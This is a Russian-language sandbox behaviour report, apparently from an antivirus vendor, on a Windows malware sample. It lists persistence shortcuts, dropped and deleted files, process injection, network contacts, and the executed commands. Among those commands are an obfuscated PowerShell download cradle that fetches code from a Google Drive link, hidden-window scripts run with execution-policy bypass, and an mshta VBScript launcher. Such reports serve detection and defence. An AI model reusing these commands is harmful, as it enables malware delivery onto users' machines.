Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %ALLUSERSPROFILE%\microsoft arts\start\love.lnk
- %ALLUSERSPROFILE%\microsoft arts\start\windows.lnk
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://drive.google.com/uc?export=download&id=1nzT...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\alosh.ps1
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\osprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\smiprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\transmogprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\unattendprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\wimprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\folderprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\intlprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\logprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\msiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\osprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\smiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\transmogprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\unattendprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\wimprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\wdscore.dll
- C:\users\public\love.bat
- C:\users\public\msynci.ps1
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\msiprovider.dll.mui
- C:\users\public\love.lnk
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\logprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\folderprovider.dll.mui
- C:\users\public\run.ps1
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- C:\users\public\chrome.vbs
- %WINDIR%\logs\dism\dism.log
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\cbsprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\compatprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismcore.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismcoreps.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismhost.exe
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismprov.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dmiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\cbsprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\compatprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dismcore.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dismprov.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dmiprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\intlprovider.dll.mui
- %APPDATA%\microsoft\windows\templates\windows.lnk
Удаляет следующие файлы
- C:\users\public\chrome.vbs
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\osprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\smiprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\transmogprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\unattendprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\wimprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\logprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\msiprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\folderprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\msiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\osprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\smiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\transmogprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\unattendprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\intlprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\logprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\intlprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\folderprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dmiprovider.dll.mui
- C:\users\public\run.ps1
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\cbsprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\compatprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismcore.dll
- C:\users\public\alosh.ps1
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismcoreps.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismprov.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dmiprovider.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\cbsprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\compatprovider.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dismcore.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\en-us\dismprov.dll.mui
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismhost.exe
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\wdscore.dll
- %TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\wimprovider.dll
Сетевая активность
Подключается к
- 'do#########ocs.googleusercontent.com':443
- 'ne#.###ya2020.com.ly':2020
TCP
Другие
- 'do#########ocs.googleusercontent.com':443
UDP
- DNS ASK do#########ocs.googleusercontent.com
- DNS ASK ne#.###ya2020.com.ly
Другое
Ищет следующие окна
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Chrome.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\vb.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
- '%TEMP%\ba20036d-f361-46fd-b608-f8a4bb781d3c\dismhost.exe' {6F26B6B1-2763-4467-9806-1EEF97263C30}
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://drive.google.com/uc?export=download&id=1nzT...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\dism.exe' /online /enable-feature /featurename:NetFX3
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\love.bat" "
- '<SYSTEM32>\mshta.exe' vbscript:(CreateObject("WSCrIPt.ShEll")).Run("powershell.exe -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1",0)(window.close)
- '%WINDIR%\microsoft.net\framework\v2.0.50727\aspnet_compiler.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
